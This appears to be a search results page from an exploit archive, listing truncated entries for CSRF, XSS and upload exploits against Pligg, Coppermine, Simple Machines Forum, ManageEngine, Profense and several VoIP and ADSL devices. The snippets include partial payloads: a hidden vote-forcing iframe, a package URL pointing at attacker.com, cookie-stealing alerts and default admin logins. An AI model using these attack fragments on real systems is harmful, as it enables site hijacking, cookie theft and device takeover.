946 matches found
Pligg 9.9.5 XSRF Protection Bypass and Captcha Bypass
No description provided by source. Written By Michael Brooks Special thanks to str0ke! Pligg - XSRF Protection Bypass and Captcha Bypass affects 9.9.5 XSRF Protection Bypass html !-- Remove this iframe from this file and place it on a site that you want to force people to vote for. Change these...
Zoom VoIP Phone Adapater ATA1+1 1.2.5 - Cross-Site Request Forgery
Zoom VoIP Phone Adapater ATA1+1 1.2.5 - Cross-Site Request Forgery Written By Michael Brooks Special thanks to str0ke! Zoom VoIP Phone Adapater ATA1+1 XSRF voip provider change xsrf version 1.2.5 milw0rm.com 2009-01-29...
Pligg 9.9.5 XSRF Protection Bypass and Captcha Bypass
Exploit for unknown platform in category web applications ===================================================== Pligg 9.9.5 XSRF Protection Bypass and Captcha Bypass ===================================================== Written By Michael Brooks Pligg - XSRF Protection Bypass and Captcha Bypass...
Coppermine Photo Gallery 1.4.19 - Remote File Upload
Written By Michael Brooks Special thanks to str0ke! Coppermine Photo gallery - Remote PHP File Upload Affects: v1.4.19 Homepage: http://coppermine-gallery.net/ 5,239,057 downloads from sf.net! For this attack we need registerglobals=on . The problem is that the anti-registerglobals security can b...
Pligg CMS 9.9.5 - Cross-Site Request Forgery / Protection Bypass / Captcha Bypass
Written By Michael Brooks Special thanks to str0ke! Pligg - XSRF Protection Bypass and Captcha Bypass affects 9.9.5 XSRF Protection Bypass ' width="0%" height="0%" var pliggstorytovotefor="/story.php?title=pliggxss"; function r var Z=false; ifwindow.XMLHttpRequest try Z=new XMLHttpRequest...
ManageEngine Firewall Analyzer 5 - Cross-Site Request Forgery / Cross-Site Scripting
Written By Michael Brooks Special thanks to str0ke! Product: ManageEngine Firewall Analyzer 5 - XSRF and XSS Vulerable version: Build Version : 5.0.0 Build Number : 5000 Build Date : Apr25 homepage: http://fwanalyzer.com/ This is live exploit code against the online demo. Go ahead, run it! With...
Zoom VoIP Phone Adapater ATA1+1 1.2.5 XSRF Exploit
Exploit for hardware platform in category remote exploits ================================================== Zoom VoIP Phone Adapater ATA1+1 1.2.5 XSRF Exploit ================================================== Written By Michael Brooks Special thanks to str0ke! Zoom VoIP Phone Adapater ATA1+1 XS...
Pligg CMS 9.9.5 - Cross-Site Request Forgery Protection Bypass Captcha Bypass
Pligg CMS 9.9.5 - Cross-Site Request Forgery Protection Bypass Captcha Bypass Written By Michael Brooks Special thanks to str0ke! Pligg - XSRF Protection Bypass and Captcha Bypass affects 9.9.5 XSRF Protection Bypass ' width="0%" height="0%" var pliggstorytovotefor="/story.php?title=pliggxss";...
Profense Web Application Firewall 2.6.2 - Cross-Site Request Forgery Cross-Site Scripting
Profense Web Application Firewall 2.6.2 - Cross-Site Request Forgery Cross-Site Scripting Written By Michael Brooks Special thanks to str0ke! Affects: Profense Web Application Firewall XSRF and XSS Version: 2.6.2 download http://www.armorlogic.com/downloadsoftware.html "Defenses against all OWASP...
ManageEngine Firewall Analyzer 5 XSRF/XSS Vulnerability
Exploit for unknown platform in category remote exploits ======================================================= ManageEngine Firewall Analyzer 5 XSRF/XSS Vulnerability ======================================================= Written By Michael Brooks Special thanks to str0ke! Product: ManageEngin...
D-Link VoIP Phone Adapter XSS/XSRF Remote Firmware Overwrite
Exploit for hardware platform in category remote exploits ============================================================ D-Link VoIP Phone Adapter XSS/XSRF Remote Firmware Overwrite ============================================================ D-link VoIP Phone Adapter XSS and XSRFremote firmware...
Profense Web Application Firewall 2.6.2 XSRF/XSS Vulnerabilities
Exploit for unknown platform in category remote exploits ================================================================ Profense Web Application Firewall 2.6.2 XSRF/XSS Vulnerabilities ================================================================ Written By Michael Brooks Special thanks to...
Zoom VoIP Phone Adapater ATA1+1 1.2.5 - Cross-Site Request Forgery
Written By Michael Brooks Special thanks to str0ke! Zoom VoIP Phone Adapater ATA1+1 XSRF voip provider change xsrf version 1.2.5 milw0rm.com 2009-01-29...
Simple Machines Forum 1.1.7 XSRF/XSS
Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
Exploit for unknown platform in category web applications =========================================================== Simple Machines Forum Xianur0 Was Here SMF XSS PoC By Xianur0 alert'XSS' Xianur0:XSMF SMF PoC By Xianur0 smfexploit.zip 0.1 Xianur0 alertdocument.cookie /package-l...
Siemens ADSL SL2-141 XSRF Exploit
"; // Uses the default login to auth Admin:Admin, could use a dictionary instead. // Just some stuff to keep the user busy, aka Rickroll $mystr="Unbelivable moviefunction siera var bullshit='Possibly the funniest video on the web param name="movie"...
Simple Machines Forum <= 1.1.7 XSRF/XSS/Package Upload Vuln
No description provided by source. Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file:...
Simple Machines Forum (SMF) 1.1.7 - Cross-Site Request Forgery / Cross-Site Scripting / Package Upload
Author: Xianur0 Vulnerable Version: All The Bug is located in the file: Sources/PackageGet.php Example: http://victm.com/index.php?action=packageget;sa=browse;absolute=http://attacker.com When the admin link between the SMF to load the file: http://attacker.com/packages.xml Save this file as...
Ninja Blog 4.8 XSRF / XSS
Vendor: http://ninjadesigns.co.uk Versions: Ninja Blog 4.8 May also affect earlier versions Credit: Danny Moules Critical: Yes See PUSH 55 Advisory at https://www.push55.co.uk/index.php?s=ad&id=7 ---- Due to insufficient validation of client-side data, we can inject script directly into the...
PollPro 3.0 XSRF VuLn.
------------------- header data start ------------------- Application Name : PollPro Vulnerable Type : XSRF Infection : Uzaktan otomatik olarak admin pass change edilebilir. Bug Fix Advice : Forma Oturum Keyi Session Token eklenmeli, eski ifre sorulmaldr. author : The0nur-n0x -------------------...